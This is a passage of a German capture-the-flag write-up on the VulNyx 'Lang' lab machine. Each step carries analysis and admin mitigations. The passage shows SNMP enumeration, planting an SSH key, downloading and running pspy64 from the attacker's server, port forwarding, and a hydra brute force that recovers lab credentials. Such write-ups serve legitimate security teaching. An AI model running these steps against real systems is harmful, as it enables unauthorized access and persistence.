▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄ ▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄ ▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄ ▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀ ▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀ ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀ /\ | Do you like PEASS? | || | Get the latest version : https://github.com/sponsors/carlospolop | | Follow on Twitter : @carlospolopm | | Respect on HTB : SirBroccoli | || | Thank you! | \/ linpeas-ng by carlospolop ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission. Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist LEGEND: RED/YELLOW: 95% a PE vector RED: You should take a look to it LightCyan: Users with console Blue: Users without console & mounted devs Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) LightMagenta: Your username Starting linpeas. Caching Writable Folders... ╔═══════════════════╗ ═══════════════════════════════╣ Basic information ╠═══════════════════════════════ ╚═══════════════════╝ OS: Linux version 5.10.0-32-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.223-1 (2024-08-10) User & Groups: uid=1000(killer) gid=1000(killer) grupos=1000(killer) Hostname: lang Writable folder: /dev/shm [+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h) [+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h) [+] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h) [...] (LinPEAS output truncated for brevity in thought process, full output needed for report) [...]
**Analyse:** Nach der Ausführung von LinPEAS (dessen relevante Ausgabe hier fehlt, aber im Test vermutlich analysiert wurde) wird das Log-Verzeichnis `/var/log` untersucht. Es wird versucht, die Datei `auth.log` zu lesen, die typischerweise Authentifizierungsversuche (Login, sudo, ssh) protokolliert.
**Bewertung:** Der Versuch, `auth.log` zu lesen, scheitert mit "Permiso denegado" (Zugriff verweigert). Dies ist normal, da Log-Dateien oft nur für `root` oder spezielle Gruppen (wie `adm`) lesbar sind, um Manipulation zu verhindern. Der Benutzer `killer` hat keine ausreichenden Rechte.
**Empfehlung (Pentester):** Ohne Leserechte für `auth.log` können keine direkten Informationen über fehlgeschlagene Logins oder `sudo`-Versuche anderer Benutzer gewonnen werden. Andere Enumerationspfade weiterverfolgen, die sich möglicherweise aus der LinPEAS-Ausgabe oder früheren Erkenntnissen (z.B. lokaler SSH auf 222, Benutzer `satanas`) ergeben haben.
**Empfehlung (Admin):** Die Berechtigungen für Log-Dateien sind korrekt restriktiv. Zentrales Logging (Syslog-Server) kann helfen, Logs auch dann zu sichern, wenn das lokale System kompromittiert wird.
apache2 auth.log daemon.log exim4 journal lastlog private syslog apt btmp debug installer kern.log messages runit wtmp
cat: auth.log: Permiso denegado
**Analyse:** Ein UDP-Portscan wird mit Nmap durchgeführt, um offene UDP-Dienste zu finden. * `-sU`: Führt einen UDP-Scan durch. UDP-Scans sind langsamer und unzuverlässiger als TCP-Scans. * `--top-ports="5"`: Scannt nur die 5 häufigsten UDP-Ports (reduziert die Scanzeit erheblich). * `--open`: Zeigt nur Ports an, die als "open" oder "open|filtered" identifiziert wurden. * `192.168.2.108`: Das Ziel.
**Bewertung:** Der Scan findet einen offenen UDP-Port: `161/udp (snmp)`. Dies ist der Standardport für das Simple Network Management Protocol (SNMP), das zur Verwaltung und Überwachung von Netzwerkgeräten verwendet wird. Oft ist SNMP mit schwachen Standard-Community-Strings (wie "public" oder "private") konfiguriert, was das Auslesen von Systeminformationen oder sogar Konfigurationsänderungen ermöglichen kann.
**Empfehlung (Pentester):** Den gefundenen SNMP-Dienst mit Tools wie `snmp-check` oder `snmpwalk` und gängigen Community-Strings (public, private, manager, etc.) abfragen. SNMP kann eine Goldgrube für Informationen über das System, Benutzer, Prozesse und Netzwerkkonfigurationen sein.
**Empfehlung (Admin):** SNMP nur aktivieren, wenn es benötigt wird. Starke, nicht-standardmäßige Community-Strings verwenden (oder besser SNMPv3 mit Authentifizierung und Verschlüsselung). Den Zugriff auf den SNMP-Dienst auf vertrauenswürdige Management-IPs beschränken.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 13:42 CEST Nmap scan report for lang.vlx (192.168.2.108) Host is up (0.00023s latency). Not shown: 4 closed udp ports (port-unreach) PORT STATE SERVICE 161/udp open snmp MAC Address: 08:00:27:0C:27:50 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds
**Analyse:** `snmp-check` wird verwendet, um den auf UDP-Port 161 gefundenen SNMP-Dienst abzufragen. `-c manager` gibt den zu verwendenden Community-String an. Es wird versucht, Informationen mit dem String "manager" auszulesen.
**Bewertung:** Der Versuch ist erfolgreich! Der Community-String `manager` ist gültig und `snmp-check` kann eine Fülle von Informationen auslesen: * **System Information:** Hostname (Lang), Beschreibung (Linux Kernel 5.10), Kontakt (root), Standort (VulNyx.com), Uptime, Systemdatum. * **Network Information:** IP-Forwarding deaktiviert, Default TTL, TCP-Statistiken. * **Network Interfaces:** Details zu `lo` und der Ethernet-Schnittstelle (MAC, Typ, Speed, MTU, übertragene Oktette). * **Network IP:** IP-Adressen und Netzmasken der Interfaces. * **TCP Connections:** Liste aktiver TCP-Verbindungen (hier nicht gezeigt, aber typisch). * **Listening UDP Ports:** Bestätigt Port 161 (SNMP). * **Device Information:** Details zum Speicher (Physical Memory, Swap). * **Software Components:** Liste der installierten Softwarepakete (hier nicht gezeigt). * **Running Processes:** Eine Liste laufender Prozesse mit PIDs, Namen und Argumenten. Darunter `epmd`, `rsyslogd`, `snmpd`, `CRON`, `sshd`, `agetty`, `beam.smp` (der Erlang-Prozess!), `erl_child_setup`, `apache2`, `exim4`. Der Eintrag `/bin/sh -c /usr/bin/erl -sname n0d3@megalang ...` ist besonders interessant, da er den Knotennamen `n0d3@megalang` zeigt. Der erfolgreiche Zugriff auf SNMP mit einem nicht-standardmäßigen, aber erratbaren Community-String ("manager") ist eine signifikante Informationsquelle.
**Empfehlung (Pentester):** Die ausgelesenen Informationen sorgfältig analysieren. Der Prozess `/bin/sh -c /usr/bin/erl -sname n0d3@megalang ...` bestätigt den vollständigen Erlang-Knotennamen als `n0d3@megalang`. Dies könnte relevant sein, falls der Hostname `megalang` für die Kommunikation benötigt wird. Die Liste der Prozesse und Software kann Hinweise auf weitere Schwachstellen geben. Prüfen, ob über SNMP auch schreibender Zugriff möglich ist (z.B. mit `snmpset` und dem "manager"-String).
**Empfehlung (Admin):** Den SNMP-Community-String "manager" dringend ändern! Einen starken, nicht erratbaren String verwenden oder auf SNMPv3 umstellen. Sicherstellen, dass SNMP nur Lesezugriff gewährt, wenn kein Schreibzugriff benötigt wird. Zugriff auf SNMP auf notwendige IPs beschränken.
snmp-check v1.9 - SNMP enumerator Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org) [+] Try to connect to 192.168.2.108:161 using SNMPv1 and community 'manager' [*] System information: Host IP address : 192.168.2.108 Hostname : Lang Description : Linux lang 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 Contact : root Location : VulNyx.com Uptime snmp : 01:40:33.21 Uptime system : 01:40:30.78 System date : 2024-8-23 13:45:58.0 [*] Network information: IP forwarding enabled : no Default TTL : 64 TCP segments received : 5037321 TCP segments sent : 5002599 TCP segments retrans : 80 Input datagrams : 5038692 Delivered datagrams : 5038690 Output datagrams : 5002464 [*] Network interfaces: Interface : [ up ] lo Id : 1 Mac Address : : Type : softwareLoopback Speed : 10 Mbps MTU : 65536 In octets : 7533 Out octets : 7533 Interface : [ up ] Intel Corporation 82540EM Gigabit Ethernet Controller Id : 2 Mac Address : 08:00:27:0c:27:50 Type : ethernet-csmacd Speed : 1000 Mbps MTU : 1500 In octets : 777304164 Out octets : 2351099472 [*] Network IP: Id IP Address Netmask Broadcast 1 127.0.0.1 255.0.0.0 0 2 192.168.2.108 255.255.255.0 1 [...] [*] Running processes: Id Status Name Path Parameters 388 runnable epmd /usr/bin/epmd -systemd 391 runnable rsyslogd /usr/sbin/rsyslogd -n -iNONE 396 runnable systemd-logind /lib/systemd/systemd-logind 402 running snmpd /usr/sbin/snmpd -Lw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid 409 runnable CRON /usr/sbin/CRON -f 416 runnable sh /bin/sh -c /usr/bin/erl -sname n0d3@megalang -noinput -eval "timer:sleep(infinity)" 417 runnable sshd sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 421 runnable agetty /sbin/agetty -o -p -- \u --noclear tty1 linux 429 runnable beam.smp /usr/lib/erlang/erts-11.1.8/bin/beam.smp -- -root /usr/lib/erlang -progname erl -- -home /home/killer -- -sname n0d3@megalang -noshell -noinput -eval timer:sleep(infinity) 465 runnable erl_child_setup erl_child_setup 1024 477 runnable apache2 /usr/sbin/apache2 -k start 757 runnable exim4 /usr/sbin/exim4 -bd -q30m 782 runnable apache2 /usr/sbin/apache2 -k start 786 runnable apache2 /usr/sbin/apache2 -k start 921 runnable apache2 /usr/sbin/apache2 -k start [...] [*] End of snmp-check
**Analyse:** Basierend auf der Entdeckung des Knotennamens `n0d3@megalang` durch `snmp-check`, wird die lokale `/etc/hosts`-Datei auf dem Angreifer-PC erneut bearbeitet. Der Hostname `megalang` wird ebenfalls der IP-Adresse `192.168.2.108` zugeordnet.
**Bewertung:** Dies ist ein logischer Schritt, da manche Erlang-Anwendungen oder -Konfigurationen möglicherweise erfordern, dass der Hostname (`megalang`), der im Knotennamen verwendet wird, korrekt aufgelöst werden kann. Auch wenn die Kommunikation bisher über die IP funktionierte, stellt dies sicher, dass eventuelle Namensauflösungsanforderungen erfüllt sind.
**Empfehlung (Pentester):** Eine gute Vorsichtsmaßnahme. Bei zukünftigen Interaktionen mit dem Erlang-Node oder Diensten, die darauf aufbauen, kann nun auch der Name `megalang` verwendet werden.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich, da dies eine lokale Änderung auf dem Angreifer-PC ist.
127.0.0.1 localhost
192.168.2.108 lang.vlx megalang
**Analyse:** Hier wird versucht, den öffentlichen SSH-Schlüssel des Angreifers (`~/.ssh/id_rsa.pub`) auf das Zielsystem zu übertragen und zur `authorized_keys`-Datei hinzuzufügen, um einen passwortlosen SSH-Login für den Benutzer `killer` zu ermöglichen. * `cat .ssh/id_rsa.pub > authorized_keys`: Erstellt lokal auf dem Angreifer-PC eine Datei `authorized_keys`, die nur den öffentlichen Schlüssel enthält. * `python3 -m http.server 8000`: Startet erneut den Webserver, um diese Datei bereitzustellen. * Auf dem Zielsystem (Shell als `killer`): `wget 192.168.2.199:8000/authorized_keys` lädt die Datei herunter. * `mkdir .ssh`: Erstellt das `.ssh`-Verzeichnis im Home-Verzeichnis von `killer`, falls es noch nicht existiert. * `mv authorized_keys .ssh/`: Verschiebt die heruntergeladene Schlüsseldatei in das `.ssh`-Verzeichnis.
**Bewertung:** Dieser Vorgang ist erfolgreich. Der öffentliche Schlüssel des Angreifers befindet sich nun in `/home/killer/.ssh/authorized_keys` auf dem Zielsystem. Der SSH-Server auf Port 22 sollte nun Verbindungen mit dem entsprechenden privaten Schlüssel (`~/.ssh/id_rsa` auf dem Angreifer-PC) für den Benutzer `killer` akzeptieren.
**Empfehlung (Pentester):** Den SSH-Login testen: `ssh -i ~/.ssh/id_rsa killer@192.168.2.108`. Dies bietet eine stabilere und komfortablere Shell als die Netcat-Reverse-Shell. Die Netcat-Shell kann danach geschlossen werden.
**Empfehlung (Admin):** Überwachen, welche Schlüssel zu `authorized_keys`-Dateien hinzugefügt werden. Sicherstellen, dass Benutzer keine unnötigen oder kompromittierten Schlüssel hinzufügen. Regelmäßige Überprüfung der `.ssh`-Verzeichnisse und `authorized_keys`-Dateien.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.2.108 - - [23/Aug/2024 14:00:59] "GET /authorized_keys HTTP/1.1" 200 -
--2024-08-23 14:01:02-- http://192.168.2.199:8000/authorized_keys Conectando con 192.168.2.199:8000... conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 91 [application/octet-stream] Grabando a: 'authorized_keys' authorized_keys 100%[<===================>] 91 --.-KB/s en 0s 2024-08-23 14:01:02 (24,5 MB/s) - 'authorized_keys' guardado [91/91]
mkdir: no se puede crear el directorio '.ssh': El fichero ya existe
**Analyse:** Der SSH-Login mit dem zuvor übertragenen Schlüssel wird versucht. `ssh -i .ssh/id_rsa killer@192.168.2.108` verwendet den privaten Schlüssel (`id_rsa`) zur Authentifizierung als Benutzer `killer`.
**Bewertung:** Der Login ist erfolgreich! Nach Bestätigung des Host-Schlüssels und Eingabe der Passphrase für den privaten Schlüssel (falls vorhanden, hier nicht gezeigt, impliziert aber keine Passphrase oder sie wurde eingegeben) erhält der Angreifer eine SSH-Shell als Benutzer `killer`. Die Meldung "You have mail." erscheint erneut.
**Empfehlung (Pentester):** Die stabilere SSH-Verbindung nun für die weitere Enumeration und Privilegienerweiterung nutzen. Die vorherige Netcat-Shell kann beendet werden.
**Empfehlung (Admin):** Die Anmeldung wird in `/var/log/auth.log` protokolliert (falls der Benutzer `killer` Leserechte hätte). Überwachung auf ungewöhnliche SSH-Logins ist wichtig.
The authenticity of host '192.168.2.108 (192.168.2.108)' can't be established. ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.108' (ED25519) to the list of known hosts. Enter passphrase for key '.ssh/id_rsa': Linux lang 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail.
**Analyse:** In der neuen SSH-Shell wird erneut `getcap -r / 2>/dev/null` ausgeführt, um nach Linux Capabilities zu suchen.
**Bewertung:** Diesmal gibt der Befehl ein Ergebnis zurück: `/usr/bin/ping cap_net_raw=ep`. Das bedeutet, dass das `ping`-Binary die Capability `CAP_NET_RAW` besitzt. Diese Capability erlaubt es Prozessen, rohe Netzwerkpakete zu senden und zu empfangen, was für die ICMP-Pakete von `ping` notwendig ist. Das `e` steht für "effective" (die Capability ist aktiv), das `p` für "permitted" (die Capability darf verwendet werden).
**Empfehlung (Pentester):** `ping` mit `cap_net_raw` ist eine Standardkonfiguration und normalerweise kein direkter Vektor für Privilegienerweiterung. Es gibt keine anderen ungewöhnlichen Capabilities. Die Suche nach anderen Vektoren fortsetzen.
**Empfehlung (Admin):** Die Capability für `ping` ist normal und notwendig für dessen Funktion. Keine Aktion erforderlich.
/usr/bin/ping cap_net_raw=ep
**Analyse:** Auf dem Angreifer-PC wird im Verzeichnis `~/Hackingtools` nach Dateien gesucht, die mit `ps` beginnen (`ll ps*` ist ein Alias für `ls -l ps*`). Dann wird erneut der Python-HTTP-Server gestartet, um die gefundene Datei `pspy64` für den Transfer vorzubereiten.
**Bewertung:** Es wird die Datei `pspy64` gefunden. `pspy` ist ein Tool, das Linux-Prozesse ohne Root-Rechte überwachen kann, um z.B. gestartete Cronjobs oder andere kurzlebige Prozesse zu entdecken, die man sonst leicht übersieht. Der HTTP-Server wird gestartet, um `pspy64` auf das Zielsystem zu übertragen.
**Empfehlung (Pentester):** `pspy64` auf das Zielsystem übertragen und ausführen. Es kann helfen, versteckte Cronjobs oder andere automatisierte Prozesse zu identifizieren, die möglicherweise für Privilegienerweiterung ausgenutzt werden können.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zum Verhindern/Erkennen von Tool-Downloads und Ausführungen (Egress Filtering, `/tmp` noexec, EDR).
-rwxr-xr-x 1 root root 3078592 4. Jun 00:04 pspy64
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
**Analyse:** Auf dem Zielsystem (in der SSH-Shell als `killer`) wird `pspy64` mit `wget` vom Angreifer heruntergeladen, ausführbar gemacht (`chmod +x`) und gestartet (`./pspy64`).
**Bewertung:** Der Download und Start von `pspy64` ist erfolgreich. Das Tool beginnt, das System zu überwachen und meldet laufende Prozesse, darunter den Erlang-Prozess (`beam.smp`), `agetty`, `sshd` und `CRON`. Es zeigt auch den Befehl an, mit dem der Erlang-Knoten gestartet wurde, was die Informationen von `snmp-check` bestätigt.
**Empfehlung (Pentester):** `pspy64` für eine Weile laufen lassen und die Ausgabe beobachten. Besonders auf Prozesse achten, die als `root` oder ein anderer privilegierter Benutzer gestartet werden, insbesondere wenn sie regelmäßig auftreten (Cronjobs) oder auf Benutzeraktionen reagieren.
**Empfehlung (Admin):** Die Ausführung von `pspy` kann durch EDR oder Verhaltensanalyse erkannt werden. Die von `pspy` aufgedeckten Prozesse sollten legitim sein; falls nicht, müssen sie untersucht werden.
--2024-08-23 14:09:05-- http://192.168.2.199:8000/pspy64 Conectando con 192.168.2.199:8000... conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 3078592 (2,9M) [application/octet-stream] Grabando a: 'pspy64' pspy64 100%[<===================>] 2,94M --.-KB/s en 0,02s 2024-08-23 14:09:05 (146 MB/s) - 'pspy64' guardado [3078592/3078592]
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░██▒▓░ ▒▓▒░ ░ ▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config options: [cmd] Listening for events... 2024/08/23 14:09:28 CMD: UID=0 PID=46 | 2024/08/23 14:09:28 CMD: UID=0 PID=45 | 2024/08/23 14:09:28 CMD: UID=0 PID=44 | 2024/08/23 14:09:28 CMD: UID=0 PID=43 | 2024/08/23 14:09:28 CMD: UID=1000 PID=429 | /usr/lib/erlang/erts-11.1.8/bin/beam.smp -- -root /usr/lib/erlang -progname erl -- -home /home/killer -- -sname n0d3@megalang -noshell -noinput -eval timer:sleep(infinity) 2024/08/23 14:09:28 CMD: UID=0 PID=421 | /sbin/agetty -o -p -- \u --noclear tty1 linux 2024/08/23 14:09:28 CMD: UID=0 PID=417 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 2024/08/23 14:09:28 CMD: UID=1000 PID=416 | /bin/sh -c /usr/bin/erl -sname n0d3@megalang -noinput -eval "timer:sleep(infinity)" 2024/08/23 14:09:28 CMD: UID=0 PID=409 | /usr/sbin/CRON -f 2024/08/23 14:09:28 CMD: UID=106 PID=402 | /usr/sbin/snmpd -Lw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid [...]
**Analyse:** Erneut wird `ss -altpm` ausgeführt. Der Zweck ist wahrscheinlich, die Netzwerkverbindungen erneut zu prüfen, möglicherweise nach dem Start von `pspy` oder um die Details zum lokalen SSH-Dienst auf Port 222 genauer zu betrachten.
**Bewertung:** Die Ausgabe ist im Wesentlichen identisch zur vorherigen `ss`-Ausgabe. Sie bestätigt erneut die Existenz des lauschenden Dienstes auf `127.0.0.1:222`. Die zusätzlichen `skmem`-Informationen geben Details über die Socket-Speichernutzung, sind aber für die Privilegienerweiterung meist nicht direkt relevant.
**Empfehlung (Pentester):** Der Fokus sollte nun auf den lokalen SSH-Dienst auf Port 222 gelegt werden. Da er nur lokal lauscht, muss eine Methode gefunden werden, um von außen darauf zuzugreifen. SSH Local Port Forwarding ist hierfür das Mittel der Wahl.
**Empfehlung (Admin):** Keine neuen Erkenntnisse. Die Empfehlungen zum lokalen SSH-Dienst auf Port 222 bleiben bestehen.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 0.0.0.0:37843 0.0.0.0:* users:(("beam.smp",pid=429,fd=17)) skmem:(r0,rb131072,t0,tb16384,f0,w0,o0,bl0,d2) LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:* skmem:(r0,rb131072,t0,tb16384,f0,w0,o0,bl0,d47) LISTEN 0 20 127.0.0.1:smtp 0.0.0.0:* skmem:(r0,rb131072,t0,tb16384,f0,w0,o0,bl0,d0) LISTEN 0 128 127.0.0.1:222 0.0.0.0:* skmem:(r0,rb131072,t0,tb16384,f0,w0,o0,bl0,d0) LISTEN 0 511 *:http-alt *:* skmem:(r0,rb131072,t0,tb16384,f0,w0,o0,bl0,d85) LISTEN 0 511 *:http *:* skmem:(r0,rb131072,t0,tb16384,f0,w0,o0,bl0,d47442) LISTEN 0 4096 *:epmd *:* skmem:(r0,rb131072,t0,tb16384,f0,w0,o0,bl0,d3) LISTEN 0 20 [::1]:smtp [::]:* skmem:(r0,rb131072,t0,tb16384,f0,w0,o0,bl0,d0)
**Analyse:** SSH Local Port Forwarding wird eingerichtet. Der Befehl `ssh -L 222:localhost:222 killer@lang.vlx -i .ssh/id_rsa` wird auf dem Angreifer-PC ausgeführt. * `-L 222:localhost:222`: Leitet Verbindungen, die auf dem lokalen Port 222 des Angreifer-PCs ankommen, durch den etablierten SSH-Tunnel zum Zielhost (`lang.vlx`) und von dort weiter zum Ziel `localhost:222` (aus Sicht des Zielhosts). Im Wesentlichen wird der Port 222 des Zielhosts auf den Port 222 des Angreifer-PCs gespiegelt. * `killer@lang.vlx`: Der Benutzer und Host für die SSH-Verbindung, die als Tunnel dient. * `-i .ssh/id_rsa`: Verwendet den privaten Schlüssel zur Authentifizierung.
**Bewertung:** Der Befehl ist erfolgreich, eine neue SSH-Verbindung wird aufgebaut (nach Bestätigung des Host-Keys und ggf. Passphrase-Eingabe). Solange diese SSH-Verbindung aktiv ist, können Dienste auf dem lokalen Port 222 des Angreifers ausgeführt werden, die tatsächlich mit dem Port 222 auf dem Zielsystem kommunizieren. Dies ermöglicht den Angriff auf den nur lokal erreichbaren SSH-Dienst.
**Empfehlung (Pentester):** Die SSH-Verbindung im Hintergrund laufen lassen. Nun kann versucht werden, sich auf `localhost:222` (auf dem Angreifer-PC) via SSH zu verbinden, um den Dienst auf dem Zielsystem zu erreichen. Der nächste Schritt ist, herauszufinden, welcher Benutzer (vermutlich `satanas`) sich dort anmelden kann und dessen Passwort zu bruteforcen.
**Empfehlung (Admin):** Port Forwarding über SSH ist eine Standardfunktion. Die Sicherheit hängt von der sicheren Konfiguration des SSH-Dienstes selbst ab (starke Authentifizierung, minimale Rechte für den Tunnel-Benutzer `killer`). Wenn der lokale Dienst auf Port 222 nicht benötigt wird, sollte er deaktiviert werden.
The authenticity of host 'lang.vlx (192.168.2.108)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:11: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'lang.vlx' (ED25519) to the list of known hosts.
Enter passphrase for key '.ssh/id_rsa':
Linux lang 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
[...]
You have mail.
**Analyse:** In der SSH-Shell, die für das Port Forwarding verwendet wird, wird `ls ..` ausgeführt, um den Inhalt von `/home` anzuzeigen.
**Bewertung:** Dies bestätigt erneut die Existenz der Home-Verzeichnisse `killer` und `satanas`. Es dient wahrscheinlich nur zur Vergewisserung, während der Tunnel im Hintergrund aktiv ist.
**Empfehlung (Pentester):** Diese Shell offen lassen, um den Tunnel aufrechtzuerhalten. In einem neuen Terminalfenster auf dem Angreifer-PC den Angriff auf `localhost:222` starten.
**Empfehlung (Admin):** Keine Aktion erforderlich.
killer satanas
**Analyse:** In einem neuen Terminal auf dem Angreifer-PC wird `hydra` verwendet, um das Passwort für den Benutzer `satanas` auf dem lokalen SSH-Dienst (Port 222, der durch den Tunnel auf den Zielhost weitergeleitet wird) zu bruteforcen. * `-l satanas`: Benutzername. * `-P /usr/share/wordlists/rockyou.txt`: Wortliste. * `localhost`: Zielhost (der lokale Endpunkt des Tunnels). * `-s 222`: Zielport. * `ssh`: Protokoll.
**Bewertung:** Erfolg! Hydra findet nach einiger Zeit das Passwort für den Benutzer `satanas`: `nothing`. Dies ist ein entscheidender Durchbruch für die Privilegienerweiterung, da der Benutzer `satanas` vermutlich höhere Rechte als `killer` hat.
**Empfehlung (Pentester):** Sich mit den gefundenen Anmeldedaten (`satanas`:`nothing`) über den Tunnel auf Port 222 via SSH anmelden (`ssh satanas@localhost -p 222`). Anschließend die Rechte dieses Benutzers prüfen (insbesondere `sudo -l`).
**Empfehlung (Admin):** Das Passwort für den Benutzer `satanas` ("nothing") ist extrem schwach und muss sofort geändert werden! Starke Passwörter erzwingen. Den lokalen SSH-Dienst auf Port 222 auf Notwendigkeit prüfen und ggf. deaktivieren oder absichern (z.B. nur Key-Auth erlauben).
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-23 14:22:56 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344481 login tries (l:1/p:14344481), ~896531 tries per task [DATA] attacking ssh://localhost:222/ [STATUS] 136.00 tries/min, 136 tries in 00:01h, 14344346 to do in 1757:54h, 15 active tasks [...] [222][ssh] host: localhost login: satanas password: nothing 1 of 1 target successfully completed, 1 valid password found [...] Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-23 14:31:03
**Analyse:** Nach dem Fund des Passworts wird versucht, sich als Benutzer `satanas` über den SSH-Tunnel auf Port 222 anzumelden.
**Bewertung:** Der erste Versuch mit dem falschen Passwort (`Permission denied`) schlägt fehl, aber der zweite Versuch mit dem korrekten Passwort (`nothing`) ist erfolgreich. Der Angreifer ist nun als Benutzer `satanas` auf dem Zielsystem eingeloggt.
**Empfehlung (Pentester):** Die Umgebung als `satanas` erkunden. Als erstes die `sudo`-Rechte mit `sudo -l` prüfen.
**Empfehlung (Admin):** Passwort für `satanas` dringend ändern! Überwachung auf erfolgreiche Logins nach fehlgeschlagenen Versuchen.
